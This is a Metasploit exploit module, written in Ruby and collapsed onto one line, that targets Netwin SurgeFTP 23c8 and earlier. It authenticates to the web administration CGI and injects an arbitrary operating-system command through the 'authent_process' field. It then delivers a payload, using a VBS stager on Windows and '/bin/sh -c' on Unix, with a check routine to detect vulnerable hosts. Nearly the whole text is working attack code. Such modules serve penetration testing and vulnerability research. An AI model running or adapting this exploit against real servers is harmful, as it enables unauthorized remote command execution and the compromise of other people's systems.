Netwin SurgeFTP – Remote Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'Netwin SurgeFTP Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8 or prior. In order to execute commands via the FTP service, please note that you must have a valid credential to the web-based administrative console. }, 'Author' => [ 'Spencer McIntyre', #Who found this vuln? 'sinn3r' ], 'License' => MSF_LICENSE, 'References' => [ ['EDB', '23522'] ], 'Targets' => [ [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ], [ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ] ], 'DisclosureDate' => 'Dec 06 2012')) register_options( [ Opt::RPORT(7021), OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]) ], self.class) end def check res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'}) if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def execute_command(cmd, opts) http_send_command("cmd.exe /q /c #{cmd}") end def http_send_command(command) res = send_request_cgi( { 'uri' => '/cgi/surgeftpmgr.cgi', 'method' => 'POST', 'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'], 'vars_post' => { 'global_smtp' => "", 'global_restart' => "", 'global_style' => "", 'global_bind' => "", 'global_passive_ip' => "", 'global_passive_match' => "", 'global_logon_mode' => "", 'global_log_host' => "", 'global_login_error' => "", 'global_adminip' => "", 'global_total_users' => "", 'global_con_perip' => "", 'global_ssl' => "", 'global_ssl_cipher_list' => "", 'global_implicit_port' => "", 'log_level' => "", 'log_home' => "", 'global_watcher_program_ul' => "", 'global_watcher_program_dl' => "", 'authent_process' => command, 'authent_cmdopts' => "", 'authent_number' => "", 'authent_domain' => "", 'global_strip_user_domain' => "", 'global_noclass' => "", 'global_anon_hammer_over_time' => "", 'global_anon_hammer_max' => "", 'global_anon_hammer_block_time' => "", 'global_port' => "", 'global_mgr_port' => "", 'global_mgr_ssl_port' => "", 'cmd_global_save.x' => "36", 'cmd_global_save.y' => "8", } }) if res and res.body =~ /401 Authorization failed/ fail_with(Exploit::Failure::NoAccess, "Unable to log in!") elsif not (res and res.code == 200) fail_with(Exploit::Failure::Unknown, 'Failed to execute command.') end end def exploit case target['Platform'] when 'win' print_status("#{rhost}:#{rport} - Sending VBS stager...") execute_cmdstager({:linemax=>500}) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|) end handler end end |